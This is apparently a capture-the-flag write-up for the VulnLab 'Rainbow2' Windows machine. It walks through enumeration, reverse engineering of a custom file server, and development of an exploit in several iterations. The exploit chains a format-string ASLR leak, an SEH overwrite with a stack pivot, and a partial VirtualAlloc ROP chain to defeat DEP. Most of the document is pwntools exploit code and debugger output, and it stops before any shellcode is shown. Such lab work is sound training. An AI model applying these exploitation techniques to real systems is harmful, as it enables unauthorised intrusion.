POSTS

VULNLAB: Rainbow2

Rainbow2 is a Hard Windows machine centered around exploit development for a custom network file-sharing service. Initial enumeration reveals anonymous FTP access and an unknown service listening on TCP port 2121. The FTP share exposes the vulnerable service binary, a developer README, and a copy of SysWOW64\kernel32.dll. The README confirms that the service was rebuilt with ASLR, DEP, and GS enabled. Static and dynamic analysis then shows that the service is still vulnerable to a format string issue and a stack-based overflow that overwrites the SEH chain. The format string leak provides a reliable ASLR bypass by disclosing a pointer inside filesrv.exe; the SEH overwrite provides control of the exception handler; and a ROP chain calls VirtualAlloc to bypass DEP. Privilege escalation is achieved by abusing SeDebugPrivilege to migrate into a SYSTEM process.

VULNLAB: Rainbow2
7473 words · 36 min

Overview

  • Type Machines
  • OS Windows
  • Severity Hard
  • Creator xct
  • Release date 2022 Jun 6

Enumeration

Start the instance via Discord and let’s go:

image

10.10.89.134

Nmap

$ nmap -sC -sV -Pn -p- --min-rate=1000 -T4 10.10.89.134
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-31 17:41 JST
Stats: 0:04:49 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 75.00% done; ETC: 17:46 (0:00:09 remaining)
Nmap scan report for 10.10.126.76
Host is up (0.26s latency).
Not shown: 65531 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 06-05-22  11:57AM               705536 filesrv.exe
| 06-05-22  02:43PM                  275 README.txt
|_06-09-22  05:36AM       <DIR>          SysWOW64
2121/tcp open  msdtc         Microsoft Distributed Transaction Coordinator (error)
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: RAINBOW2
|   NetBIOS_Domain_Name: RAINBOW2
|   NetBIOS_Computer_Name: RAINBOW2
|   DNS_Domain_Name: Rainbow2
|   DNS_Computer_Name: Rainbow2
|   Product_Version: 10.0.20348
|_  System_Time: 2024-12-31T08:46:11+00:00
|_ssl-date: 2024-12-31T08:46:14+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=Rainbow2
| Not valid before: 2024-12-30T08:40:07
|_Not valid after:  2025-07-01T08:40:07
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
  • Add rainbow2 in in /etc/hosts
  • Anonymous FTP login allowed

FTP (21/tcp)

$ ftp -i anonymous@rainbow2
Connected to rainbow2.
220 Microsoft FTP Service
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: test@test.vl
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
229 Entering Extended Passive Mode (|||5001|)
150 Opening ASCII mode data connection.
06-05-22  11:57AM               705536 filesrv.exe
06-05-22  02:43PM                  275 README.txt
06-09-22  05:36AM       <DIR>          SysWOW64
226 Transfer complete.
ftp> binary
200 Type set to I.
ftp> get filesrv.exe
local: filesrv.exe remote: filesrv.exe
229 Entering Extended Passive Mode (|||5002|)
150 Opening BINARY mode data connection.
100% |****************************************************************************************************|   689 KiB  241.34 KiB/s    00:00 ETA
226 Transfer complete.
705536 bytes received in 00:02 (241.33 KiB/s)
ftp> get README.txt
local: README.txt remote: README.txt
229 Entering Extended Passive Mode (|||5003|)
150 Opening BINARY mode data connection.
100% |****************************************************************************************************|   275        1.03 KiB/s    00:00 ETA
226 Transfer complete.
275 bytes received in 00:00 (1.03 KiB/s)
ftp> quit
221 Goodbye.
$ cat README.txt 
# FileSrv v0.2

Our simple file sharing server! Currently under development - we still seem to have some minor problems with binary files.

Changelog:
 - After our last custom server got hacked we made sure to enable all mitigations: ASLR, DEP, GS! Now it's 100% secure.

From now, we know we are dealing with a file server that probably has all protections enabled.

$ file filesrv.exe         
filesrv.exe: PE32 executable (console) Intel 80386, for MS Windows, 5 sections

We can confirm that is a service running on 2121/tcp (catch previously with nmap):

$ nc rainbow2 2121                                     
USER
ERROR
AAAAAAAAAAAAAAAAAAAAAAAAAAAA
ERROR
^C

quick test with USER and also a random pattern and both have the ERROR output

We suspect that it will have all protections enabled, so we’ll need to leak memory from the binary.

Seems this machine is focus on binary exploitation of the running filesrv.exe (32 bit) on port 2121/tcp to obtain a shell on the host.

Binary exploiting (filesrv.exe)

We install binary security check:

$ cargo install binary-security-check
    Updating crates.io index
  Downloaded binary-security-check v1.3.2
  Downloaded 1 crate (29.1 KB) in 0.68s
  Installing binary-security-check v1.3.2
    Updating crates.io index
     Locking 81 packages to latest compatible versions
      Adding goblin v0.8.2 (latest: v0.9.2)
      Adding thiserror v1.0.69 (latest: v2.0.9)
      Adding thiserror-impl v1.0.69 (latest: v2.0.9)
      Adding windows-core v0.52.0 (latest: v0.58.0)
      Adding windows-sys v0.52.0 (latest: v0.59.0)
...

Check the binary security flags:

$ /home/user/.cargo/bin/binary-security-check ./filesrv.exe 
./filesrv.exe: !CHECKSUM +DATA-EXEC-PREVENT !RUNS-IN-APP-CONTAINER +CONSIDER-MANIFEST !VERIFY-DIGITAL-CERT !CONTROL-FLOW-GUARD !HANDLES-ADDR-GT-2GB ~ASLR-LT-2GB !SAFE-SEH
  • ~ASLR-LT-2GB means the binary is probably protected by Address Space Layout Randomization == ASLR.
  • +DATA-EXEC-PREVENT means that Data Execution Prevention is enabled == DEP.

When running the binary we are shown that a server has been started on some port

PS C:\Users\user\Desktop> .\filesrv.exe  
Starting Rainbow2 Server...!

At first we do not know the port that has been opened but with TCPView we can see that the process filesrv.exe has the port open 2121 at the address 0.0.0.0

image

When we connect to the port it seems to expect an input but if we send data, for example 16 bytes, it simply returns the message ERROR without further ado.

❯ netcat 192.168.3.65 2121  
AAAAAAAABBBBBBBB
ERROR

In order to debug the program easily we will open the application within WinDbg:

image

If we look at the module details we can see that it contains the protections DEP and ASLR, the first prevents us from executing a shellcode on the stack, the second indicates that the base address of the binary should change after each reboot.

0:000> !py mona modules
Hold on...
[+] Command used:
!py C:\Users\user\Documents\WinDbgX\x86\mona.py modules

[+] Processing arguments and criteria
    - Pointer access level : X
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
-----------------------------------------------------------------------------------------------------------------------------------------------------  
 Module info :
-----------------------------------------------------------------------------------------------------------------------------------------------------  
 Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | CFG   | NXCompat | OS Dll | Modulename & Path
-----------------------------------------------------------------------------------------------------------------------------------------------------  
 0x75de0000 | 0x76026000 | 0x00246000 | True   | False   | True  | True  |  True    | True   | [KERNELBASE.dll] (C:\Windows\SysWOW64\KERNELBASE.dll)
 0x732d0000 | 0x73321000 | 0x00051000 | True   | False   | True  | True  |  True    | True   | [mswsock.dll] (C:\Windows\SysWOW64\mswsock.dll)
 0x756b0000 | 0x757a0000 | 0x000f0000 | True   | False   | True  | True  |  True    | True   | [KERNEL32.DLL] (C:\Windows\SysWOW64\KERNEL32.DLL)
 0x3f290000 | 0x3f340000 | 0x000b0000 | True   | False   | True  | False |  True    | False  | [filesrv.exe] (filesrv.exe)
 0x775d0000 | 0x77778000 | 0x001a8000 | True   | False   | True  | True  |  True    | True   | [ntdll.dll] (ntdll.dll)
 0x76610000 | 0x766cb000 | 0x000bb000 | True   | False   | True  | True  |  True    | True   | [RPCRT4.dll] (C:\Windows\SysWOW64\RPCRT4.dll)
 0x77380000 | 0x773e5000 | 0x00065000 | True   | False   | True  | True  |  True    | True   | [WS2_32.dll] (C:\Windows\SysWOW64\WS2_32.dll)
-----------------------------------------------------------------------------------------------------------------------------------------------------  

[+] Preparing output file 'modules.txt'
    - (Re)setting logfile C:\mona\modules.txt

The most complex part here is the reversing because the program was created in C++ and the subject of the objects makes it more difficult to read the code, after renaming some things we start with the function main, this starts by reserving a space in memory and calling setup where it passes the string 0.0.0.0 and the port as arguments 2121, then it calls the function server and finally handler.

image

The function we renamed setmem takes a buffer and a length, then calls memset to fill that buffer with 0's the total bytes of the argument:

image

The function server starts by calling the function WSAStartup to initialize winsock and then calls the function socket to create a socket and this returns a descriptor:

image

Then it is used htons to format the port 2121 and subsequently call bind y listen to listen for incoming connections on that port.

image

The function handler starts by making a conditional jump since a loop will start:

image

In this case, the select function is called to verify that the descriptors in the variable readfs are ready for operations, thus avoiding errors.I/O:

image

If the value returned by select is greater than 0 follows the red line that calls accept that receives a connection and returns a new descriptor in the return value:

image

If you follow the green line it calls memsetto reserve a space in memory and then to recvreceive a total of 0x10000 4096bytes in the assigned buffer.

image

In the final part, the function is called CreateThread to create a thread for each connection, each thread executes the function StartAddress passing it the descriptor:

image

For each input received, the function is called menu where the buffer variable is possibly prepared, finally the function send that sends the content to the socket is called.

image

The menu function receives the buffer and copies command the first bytes separated by a space to a variable, then copies path the argument to command to the variable.

image

It starts with a couple of comparisons, if the path variable is equal to .., C:\\ or \\ it takes us to a block that displays the error message Fishy path and returns:

image

image

We can check it by sending anything as a command TEST and the restricted paths as arguments, we can see that it returns the expected error:

❯ netcat 192.168.3.65 2121  
TEST ..
ERROR: Fishy path
TEST C:\
ERROR: Fishy path
TEST \
ERROR: Fishy path

Then it performs a small validation so that the program is executed in the path C:\shared, if this condition is met it copies to the response buffer the string Path: followed by the content that is used as path, by convention we can think that some function is used like snprintf that can lead to a format string:

image

We check it by sending path anything like a letter A, in the response we can see the message Path: A that reflects the path of our entry:

❯ netcat 192.168.3.65 2121
TEST A
ERROR: Can not open Path: A  

We see a comparison of the command with LST and with GET, due to the path validations we can assume that LST it acts as a dir and GET as a type:

image

Restrictions do not compare the path /, so we can use it LST to list files from the root, although this is not the vulnerability we need to follow.

LST /
Path: /
C:\Documents and Settings
C:\PerfLogs
C:\Program Files
C:\Program Files (x86)
C:\ProgramData
C:\Recovery
C:\System Volume Information  
C:\Users
C:\Windows

We can also use a simple . to view the files in the current directory, apparently if we pass a file to the command GET it returns the content in base64:

LST .
Path: .
C:\shared\filesrv.exe  
GET filesrv.exe
Path: filesrv.exe
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQokAAAAAAAAAJsIVFjfaToL32k6C99pOgsMGzkK0mk6CwwbPwpqaToLDBs+CslpOguNHD4KzWk6C40cOQrLaToLjRw/CpJpOgsMGzsK2mk6C99pOwuhaToLHhw/CtxpOgseHMUL3mk6Cx4cOAreaToLUmljaN9pOgsAAAAAAAAAAFBFAABMAQUAGJqcYgAAAAAAAAAA4AACAQsBDh0A8AgAAOYBAAAAAAA5EAMAABAAAAAACQAAABBAABAAAAACAAAGAAAAAAAAAAYAAAAAAAAAAAALAAAEAAAAAAAAAwBAgQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/FMKADwAAAAAoAoA4AEAAAAAAAAAAAAAAAAAAAAAAAAAsAoAqE4AAIzZCQBUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4NkJAEAAAAAAAAAAAAAAAAAACQAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAACj7ggAABAAAADwCAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAA6F4BAAAACQAAYAEAAPQIAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAACwzAAAAYAoAAB4AAABUCgAAAAAAAAAAAAAAAABAAADALnJzcmMAAADgAQAAAKAKAAACAAAAcgoAAAAAAAAAAAAAAAAAQAAAQC5yZWxvYwAAqE4AAACwCgAAUAAAAHQKAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVYvsagC5SHw=  

We know that the path is reflected in the response and probably causes a format string vulnerability, we will send several %p separated by a .:

❯ netcat 192.168.3.65 2121  
TEST %p.%p

When we reach the breakpoint in the call to the function send that sends the buffer we see that instead of the , %p some quite interesting pointers are reflected:

0:000> bp filesrv + 0x11e13

0:000> g
Breakpoint 0 hit
eax=00000128 ebx=010fe894 ecx=010ff9b8 edx=013c25b0 esi=3f2a4120 edi=3f2a4120  
eip=3f2a1e13 esp=017af704 ebp=017af834 iopl=0         nv up ei pl nz na po nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202  
filesrv+0x11e13:
3f2a1e13 e8982a0000      call    filesrv+0x148b0 (3f2a48b0)

0:000> db poi(esp + 4)
013c25b0  45 52 52 4f 52 3a 20 43-61 6e 20 6e 6f 74 20 6f  ERROR: Can not o
013c25c0  70 65 6e 20 50 61 74 68-3a 20 31 44 45 37 30 30  pen Path: 1DE700
013c25d0  34 46 2e 33 46 32 41 34-31 32 30 0a 0a 00 ad ba  4F.3F2A4120.....
013c25e0  ab ab ab ab ab ab ab ab-00 00 00 00 00 00 00 00  ................
013c25f0  10 e4 fb a2 f4 5e 00 00-c0 00 3b 01 c0 24 3c 01  .....^....;..$<.
013c2600  ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe  ................
013c2610  ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe  ................
013c2620  ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe  ................

The second pointer points to a static address in the binary, we can subtract the base address of the binary from the debugger and get the offset which is 0x14120:

0:000> lm m filesrv
Browse full module list
start    end        module name
3f290000 3f340000   filesrv  C (no symbols)  

0:000> ? 0x3f2a4120 - 0x3f290000
Evaluate expression: 82208 = 00014120

We automate this process in a python script, we send what %p the leak shows us and by subtracting the calculated offset it shows the base address of the binary:

#!/usr/bin/python3
from pwn import remote, log

shell = remote("192.168.3.65", 2121)

shell.sendline(b"TEST %p.%p")
shell.recvuntil(b".")

binary_base = int(shell.recvline().strip(), 16) - 0x14120  
log.info(f"Binary base: {hex(binary_base)}")

shell.interactive()
❯ python3 exploit.py
[+] Opening connection to 192.168.3.65 on port 2121: Done  
[*] Binary base: 0x3f290000
[*] Switching to interactive mode
$

The input actually doesn’t seem to be very well sanitized either, so we send a high number of bytes cyclic looking for some kind of overflow.

#!/usr/bin/python3
from pwn import remote, cyclic

shell = remote("192.168.3.65", 2121)  

payload = cyclic(4000)

shell.sendline(b"TEST " + payload)
shell.interactive()

When sending the exploit the program corrupts however it eip does not point to any part of the chain, although we do not overwrite a return address we do overwrite the structure SEH so we overwrite both values ​​of the structure:

0:000> g
(11c4.f6c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=010b0000 ebx=00007878 ecx=010af0dc edx=00000000 esi=010af0f0 edi=010af538
eip=3f2de8ea esp=010af0b4 ebp=010af0c4 iopl=0         nv up ei pl nz na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010207
filesrv+0x4e8ea:
3f2de8ea 8838            mov     byte ptr [eax],bh          ds:002b:010b0000=??  

0:000> !exchain
010afca4: 6b61616a
Invalid exception stack at 6b616169

We pass the value cyclic that tells us that offset to overwrite the pointer to the next SEH is 1032 bytes, and to overwrite the SEH handler 1036 bytes:

❯ cyclic -l 0x6b616169  
1032

❯ cyclic -l 0x6b61616a  
1036

Our payload now sends up 1032 A's to before overwriting the SEH structure, 4 B's which will be the next SEH and 4 C's which will be the controller, in addition to that we fill with D's up to 4000 bytes to keep the exploit stable forcing the exception to occur by sending a very large amount of bytes:

#!/usr/bin/python3
from pwn import remote

shell = remote("192.168.3.65", 2121)

shell.sendline(b"TEST %p.%p")
shell.recvuntil(b".")

binary_base = int(shell.recvline().strip(), 16) - 0x14120  

offset = 1032
junk = b"A" * offset

nseh = b"B" * 4
seh = b"C" * 4

payload  = b""
payload += junk
payload += nseh + seh
payload += b"D" * (4000 - len(payload))

shell.sendline(b"TEST " + payload)
shell.interactive()

By sending the exploit the program corrupts but now we control the SEH structure with the following SEH with the value 0x42424242 and the handler with 0x43434343:

0:000> g
(11c4.f6c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=01510000 ebx=00004444 ecx=0150f1dc edx=00000000 esi=0150f1f0 edi=0150f638
eip=3f2de8ea esp=0150f1b4 ebp=0150f1c4 iopl=0         nv up ei pl nz na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010207
filesrv+0x4e8ea:
3f2de8ea 8838            mov     byte ptr [eax],bh          ds:002b:01510000=??  

0:000> !exchain
0150fda4: 43434343
Invalid exception stack at 42424242

In normal operations we would use a pop; pop; ret; that would execute the nseh opcode however since DEP the stack is enabled it is not executable:

0:000> !vprot esp
BaseAddress:       00cef000
AllocationBase:    00bf0000
AllocationProtect: 00000004  PAGE_READWRITE  
RegionSize:        00001000
State:             00001000  MEM_COMMIT
Protect:           00000004  PAGE_READWRITE  
Type:              00020000  MEM_PRIVATE

What we could do is execute a chain rop to bypass DEP, for this we first need to control the stack since now we only overwrite the controller, we start by searching the stack for the chain TEST that points to the beginning of the buffer:

0:000> !teb
TEB at 00cb4000
    ExceptionList:        0159e7b4
    StackBase:            015a0000
    StackLimit:           0159d000
    SubSystemTib:         00000000
    FiberData:            00001e00
    ArbitraryUserPointer: 00000000
    Self:                 00cb4000
    EnvironmentPointer:   00000000
    ClientId:             00002f90 . 00000470
    RpcHandle:            00000000
    Tls Storage:          00fb2f00
    PEB Address:          00ca1000
    LastErrorValue:       187
    LastStatusValue:      c000000d
    Count Owned Locks:    0
    HardErrorMode:        0

0:000> s -a 0x0159d000 0x015a0000 TEST
0159f4f0  54 45 53 54 00 f9 59 01-db 8d c5 3f 4c f9 59 01  TEST..Y....?L.Y.  

0:000> db 0x0159f4f0
0159f4f0  54 45 53 54 00 f9 59 01-db 8d c5 3f 4c f9 59 01  TEST..Y....?L.Y.
0159f500  04 00 00 00 0f 00 00 00-b8 6f fb 00 00 00 fa 00  .........o......
0159f510  7c f5 59 01 64 60 22 77-a0 0f 00 00 af 0f 00 00  |.Y.d`"w........
0159f520  28 69 ca 62 00 00 fa 00-00 00 00 00 62 00 00 40  (i.b........b..@
0159f530  4c f6 59 01 c8 0f 00 00-00 00 00 00 0f 00 00 00  L.Y.............
0159f540  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0159f550  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0159f560  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

So, 0x50 bytes after the address of the string we find the start of the A's, if we subtract that address from the esp we can see that it is in 0xda0 bytes:

0:000> db 0x0159f4f0 + 0x50
0159f540  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
0159f550  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
0159f560  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
0159f570  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
0159f580  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
0159f590  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
0159f5a0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
0159f5b0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  

0:000> ? 0x0159f540 - esp
Evaluate expression: 3488 = 00000da0

Looking for a pivot stack ropper we found 2 possible ones, the first one is very short, so we will use the second one which although it is a bit long will serve us:

❯ ropper --file filesrv.exe --search "add esp, 0x???; ret;"  
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: add esp, 0x???; ret;

[INFO] File: filesrv.exe
0x0001139d: add esp, 0xd60; ret;
0x00011396: add esp, 0xe10; ret;

We updated our exploit, now the controller points to the stack pivot so when the exception occurs it will jump to it making the esp point to the A's:

#!/usr/bin/python3
from pwn import remote, p32

shell = remote("192.168.3.65", 2121)

shell.sendline(b"TEST %p.%p")
shell.recvuntil(b".")

binary_base = int(shell.recvline().strip(), 16) - 0x14120  

offset = 1032
junk = b"A" * offset

nseh = b"B" * 4
seh = p32(binary_base + 0x11396) # add esp, 0xe10; ret;

payload  = b""
payload += junk
payload += nseh + seh
payload += b"D" * (4000 - len(payload))

shell.sendline(b"TEST " + payload)
shell.interactive()

When running our exploit it corrupts again, although it nseh still points to B's the controller it now points to the gadget address add esp, 0xe10; ret;:

0:000> g
(12a4.13f8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00b20000 ebx=00004444 ecx=00b1f170 edx=00000000 esi=00b1f184 edi=00b1f5cc
eip=3f2de8ea esp=00b1f148 ebp=00b1f158 iopl=0         nv up ei pl nz na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010207
filesrv+0x4e8ea:
3f2de8ea 8838            mov     byte ptr [eax],bh          ds:002b:00b20000=4d  

0:000> !exchain
00b1fd38: filesrv+11396 (3f2a1396)
Invalid exception stack at 42424242

0:000> u 0x3f2a1396 L2
filesrv+0x11396:
3f2a1396 81c4100e0000    add     esp,0E10h
3f2a139c c3              ret

We set a breakpoint at it and as execution continues it eventually gets to execute it, we execute it add esp, 0xe10 and move on to the instruction ret:

0:000> bp 0x3f2a1396

0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=3f2a1396 edx=77666f60 esi=00000000 edi=00000000  
eip=3f2a1396 esp=00b1eb98 ebp=00b1ebb8 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246  
filesrv+0x11396:
3f2a1396 81c4100e0000    add     esp,0E10h

0:000> p
eax=00000000 ebx=00000000 ecx=3f2a1396 edx=77666f60 esi=00000000 edi=00000000  
eip=3f2a139c esp=00b1f9a8 ebp=00b1ebb8 iopl=0         nv up ei pl nz na po nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202  
filesrv+0x1139c:
3f2a139c c3              ret

Although it returns to the A's we know that the pivot advanced more than it should have and we need to know how much, so we again look for the start of the buffer:

0:000> !teb
TEB at 003b7000
    ExceptionList:        00b1ebac
    StackBase:            00b20000
    StackLimit:           00b1e000
    SubSystemTib:         00000000
    FiberData:            00001e00
    ArbitraryUserPointer: 00000000
    Self:                 003b7000
    EnvironmentPointer:   00000000
    ClientId:             000012a4 . 000013f8
    RpcHandle:            00000000
    Tls Storage:          006513a0
    PEB Address:          003a4000
    LastErrorValue:       187
    LastStatusValue:      c000000d
    Count Owned Locks:    0
    HardErrorMode:        0

0:000> s -a 0x00b1e000 0x00b20000 TEST
00b1f8e0  54 45 53 54 00 fd b1 00-db 8d 29 3f 3c fd b1 00  TEST......)?<...  

If we subtract the address of the esp with the address where the start A's we get the offset, we divide this by the size of a dword and we get a 30:

0:000> db 0x00b1f8e0
00b1f8e0  54 45 53 54 00 fd b1 00-db 8d 29 3f 3c fd b1 00  TEST......)?<...  
00b1f8f0  03 00 00 00 0f 00 00 00-b0 4a 65 00 00 00 00 00  .........Je.....  
00b1f900  08 3e 65 00 00 00 64 00-80 0c 00 00 8f 0c 00 00  .>e...d.........  
00b1f910  58 02 64 00 0b 29 6b 77-00 00 00 00 00 00 64 00  X.d..)kw......d.  
00b1f920  93 01 00 00 62 00 00 40-00 00 00 00 0f 00 00 00  ....b..@........  
00b1f930  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
00b1f940  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
00b1f950  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  

0:000> ? (esp - 0x00b1f930) / 4
Evaluate expression: 30 = 0000001e

So, our rop chain will send 30 the gadget address times ret; until it reaches the real ropchain, after executing it we will leave it C's as shellcode:

#!/usr/bin/python3
from pwn import remote, p32

shell = remote("192.168.3.65", 2121)

shell.sendline(b"TEST %p.%p")
shell.recvuntil(b".")

binary_base = int(shell.recvline().strip(), 16) - 0x14120  

rop  = b""
rop += p32(binary_base + 0x01010) * 30 # ret;

shellcode  = b""
shellcode += b"C" * 100

offset = 1032
junk = b"A" * (offset - len(rop + shellcode))

nseh = b"B" * 4
seh = p32(binary_base + 0x11396) # add esp, 0xe10; ret;

payload  = b""
payload += rop
payload += shellcode
payload += junk
payload += nseh + seh
payload += b"D" * (4000 - len(payload))

shell.sendline(b"TEST " + payload)
shell.interactive()

When running the exploit we eventually get to the one ret that will run the real ropchain, as we did not send any the return points to the ones C's that simulate the shellcode:

0:000> bp filesrv + 0x1010

0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=3f2a1396 edx=77666f60 esi=00000000 edi=00000000  
eip=3f291010 esp=00cef514 ebp=00cee720 iopl=0         nv up ei pl nz na po nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202  
filesrv+0x1010:
3f291010 c3              ret

0:000> dds esp L1
00cef514  43434343

The VirtualAlloc function will help us to change the privileges of the stack because it reserves a space in memory, the most relevant thing is that in the first argument we can indicate the address where we want to do it and with the last one the protection:

LPVOID VirtualAlloc(
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,  
  [in]           DWORD  flProtect
);

In it lpAddress we can pass the address of esp where we will start, in it dwSize we will use 0x1 that will reserve a page, in flAllocationType we will pass MEM_COMMIT or 0x1000 and finally in flProtect we will use 0x40 that is equal to PAGE_EXECUTE_READ_WRITE, in this way we would be allowed to execute the shellcode:

VirtualAlloc($esp, 0x1, 0x1000, 0x40);  

Something to keep in mind is that the arguments are passed on the stack, as we have DEP enabled there are few gadgets that execute a push single record without trying to execute something else, one method is to use the gadget pushad; ret; that executes one push of all the records in a specific order which is the following:

Temp := (ESP);
Push(EAX);
Push(ECX);
Push(EDX);
Push(EBX);
Push(Temp);
Push(EBP);
Push(ESI);
Push(EDI);

The last argument lpAddress indicates the beginning of where we will reserve memory so we have to adapt to the order of pushad, we will have to save the values ​​of the other 3 arguments in reverse order from that push of Temp of esp:

$ecx = flProtect
$edx = flAllocationType
$ebx = dwSize
$esp = lpAddress

We start with ecx, to load the value without null bytes we can use a gadget sub eax and calculate the difference, in this case adding the value of 0x40:

0:000> ? 0x8314c26b + 0x40
Evaluate expression: -2095791445 = 8314c2ab  

With the gadget xchg edi, eax we load the resulting value into edi, then we have a mov ecx, edi that finally saves it in ecx but ends in a call esi, for this we will save in esi the gadget pop esi; ret; that will jump to the next gadget:

# $ecx = 0x40
rop += p32(binary_base + 0x3711a) # pop eax; ret;
rop += p32(0x8314c2ab)            # offset + 0x40
rop += p32(binary_base + 0x32ce4) # sub eax, 0x8314c26b; ret;  
rop += p32(binary_base + 0x01068) # pop esi; ret;
rop += p32(binary_base + 0x01068) # pop esi; ret;
rop += p32(binary_base + 0x48ca8) # xchg edi, eax; ret;
rop += p32(binary_base + 0x15638) # mov ecx, edi; call esi;

In edx we need to load 0x1000, we perform exactly the same process and finish and once calculated we move the value to eax the register edx:

0:000> ? 0x8314c26b + 0x1000
Evaluate expression: -2095787413 = 8314d26b  
# $edx = 0x1000
rop += p32(binary_base + 0x3711a) # pop eax; ret;
rop += p32(0x8314d26b)            # offset + 0x1000
rop += p32(binary_base + 0x32ce4) # sub eax, 0x8314c26b; ret;
rop += p32(binary_base + 0x3039f) # mov edx, eax; mov eax, esi; pop esi; ret;  
rop += p32(0x41414141)            # padding for pop

For ebx we need 0x1, this is a little simpler, we can load the value 0xffffffff of -1 and simply increment its value 2 times leaving it at 1:

# $ebx = 0x1
rop += p32(binary_base + 0x0dc14) # pop ebx; ret;
rop += p32(0xffffffff)            # -1
rop += p32(binary_base + 0x301e9) # inc ebx; ret;
rop += p32(binary_base + 0x301e9) # inc ebx; ret;  

Unfortunately the function VirtualAlloc is not loaded in the table IAT, what we can do to calculate it is to dereference any function like TlsAlloc and then add the offset to the function VirtualAlloc inside kernel32.dll:

image

To get to the function VirtualAlloc from TlsAlloc we will need either the value 0x3140 or add 0xffffcec0 to the previously dereferenced value:

0:000> ? kernel32!TlsAllocStub - kernel32!VirtualAllocStub  
Evaluate expression: 12608 = 00003140

0:000> ? kernel32!VirtualAllocStub - kernel32!TlsAllocStub  
Evaluate expression: -12608 = ffffcec0

We set edi the value 0xffffcec0, then load and dereference at eax the address of TlsAlloc and add the offset that we saved before in edi:

# $eax = VirtualAlloc()
